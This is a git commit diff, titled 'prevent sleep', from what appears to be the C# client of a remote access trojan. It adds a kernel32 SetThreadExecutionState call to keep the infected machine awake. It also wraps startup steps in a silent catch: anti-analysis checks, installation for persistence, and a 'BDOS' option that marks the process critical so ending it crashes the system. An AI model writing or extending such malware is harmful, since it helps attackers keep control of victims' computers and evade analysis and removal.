prevent sleep
This commit is contained in:
parent
b96daccc0b
commit
3299c50dd8
@ -12,6 +12,7 @@ using System.Security.Principal;
|
|||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
using System.Drawing.Imaging;
|
using System.Drawing.Imaging;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
namespace Client.Helper
|
namespace Client.Helper
|
||||||
{
|
{
|
||||||
@ -120,5 +121,23 @@ namespace Client.Helper
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
|
||||||
|
public static void PreventSleep()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
SetThreadExecutionState(EXECUTION_STATE.ES_SYSTEM_REQUIRED | EXECUTION_STATE.ES_CONTINUOUS | EXECUTION_STATE.ES_DISPLAY_REQUIRED);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
public enum EXECUTION_STATE : uint
|
||||||
|
{
|
||||||
|
ES_CONTINUOUS = 0x80000000,
|
||||||
|
ES_DISPLAY_REQUIRED = 0x00000002,
|
||||||
|
ES_SYSTEM_REQUIRED = 0x00000001
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -23,17 +23,23 @@ namespace Client
|
|||||||
Thread.Sleep(2500);
|
Thread.Sleep(2500);
|
||||||
if (!Settings.InitializeSettings()) Environment.Exit(0);
|
if (!Settings.InitializeSettings()) Environment.Exit(0);
|
||||||
|
|
||||||
if (!Methods.CreateMutex())
|
try
|
||||||
Environment.Exit(0);
|
{
|
||||||
|
if (!Methods.CreateMutex())
|
||||||
|
Environment.Exit(0);
|
||||||
|
|
||||||
if (Convert.ToBoolean(Settings.Anti))
|
if (Convert.ToBoolean(Settings.Anti))
|
||||||
Anti_Analysis.RunAntiAnalysis();
|
Anti_Analysis.RunAntiAnalysis();
|
||||||
|
|
||||||
if (Convert.ToBoolean(Settings.Install))
|
if (Convert.ToBoolean(Settings.Install))
|
||||||
NormalStartup.Install();
|
NormalStartup.Install();
|
||||||
|
|
||||||
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
|
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
|
||||||
ProcessCritical.Set();
|
ProcessCritical.Set();
|
||||||
|
|
||||||
|
Methods.PreventSleep();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
while (true)
|
while (true)
|
||||||
{
|
{
|
||||||
|
Loading…
x
Reference in New Issue
Block a user